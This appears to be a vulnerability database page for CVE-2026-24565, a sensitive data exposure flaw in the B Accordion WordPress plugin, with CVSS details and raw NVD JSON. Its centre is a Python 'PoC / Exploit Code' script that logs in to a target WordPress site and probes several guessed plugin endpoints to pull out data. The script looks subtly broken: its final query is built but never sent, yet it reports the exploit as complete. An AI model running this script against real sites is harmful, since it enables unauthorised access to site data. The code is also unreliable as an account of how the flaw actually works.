Security Vulnerability Report
中文
CVE-2026-24565 CVSS 6.5 MEDIUM

CVE-2026-24565

Published: 2026-01-23 15:16:14
Last Modified: 2026-04-15 00:35:42

Description

Insertion of Sensitive Information Into Sent Data vulnerability in bPlugins B Accordion b-accordion allows Retrieve Embedded Sensitive Data.This issue affects B Accordion: from n/a through <= 2.0.2.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

B Accordion (b-accordion) WordPress Plugin <= 2.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-24565 PoC - B Accordion Sensitive Data Exposure # WordPress B Accordion Plugin <= 2.0.2 # Reference: https://patchstack.com/database/Wordpress/Plugin/b-accordion/vulnerability/wordpress-b-accordion-plugin-2-0-0-sensitive-data-exposure-vulnerability import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else "http://target-wordpress-site.com" username = sys.argv[2] if len(sys.argv) > 2 else "attacker" password = sys.argv[3] if len(sys.argv) > 3 else "password" # Step 1: Authenticate to WordPress session = requests.Session() login_url = f"{target}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In" } response = session.post(login_url, data=login_data, allow_redirects=False) if "wordpress_logged_in" not in str(session.cookies): print("[-] Authentication failed") exit(1) print("[+] Authentication successful") # Step 2: Enumerate B Accordion content for sensitive data # The plugin stores accordion content in wp_postmeta with meta_key pattern 'baccordion_*' endpoints = [ f"{target}/wp-json/wp/v2/baccordion", f"{target}/wp-admin/admin-ajax.php?action=baccordion_get_data", f"{target}/wp-json/baccordion/v1/data" ] for endpoint in endpoints: try: response = session.get(endpoint, timeout=10) if response.status_code == 200 and len(response.text) > 0: print(f"\n[+] Found accessible endpoint: {endpoint}") print(f"Response preview: {response.text[:500]}") except Exception as e: print(f"[-] Error accessing {endpoint}: {e}") # Step 3: Query database for plugin-specific meta keys db_check_url = f"{target}/wp-admin/admin-ajax.php" meta_query = { "action": "baccordion_query", "nonce": "", # May need to extract valid nonce from page source "query_type": "meta" } print("\n[*] Exploit complete. Review extracted data for sensitive information.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24565", "sourceIdentifier": "[email protected]", "published": "2026-01-23T15:16:14.103", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insertion of Sensitive Information Into Sent Data vulnerability in bPlugins B Accordion b-accordion allows Retrieve Embedded Sensitive Data.This issue affects B Accordion: from n/a through <= 2.0.2."}, {"lang": "es", "value": "Inserción de Información Sensible en Datos Enviados en bPlugins B Accordion b-accordion permite Recuperar Datos Sensibles Incrustados. Este problema afecta a B Accordion: desde n/a hasta &lt;= 2.0.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-201"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/b-accordion/vulnerability/wordpress-b-accordion-plugin-2-0-0-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}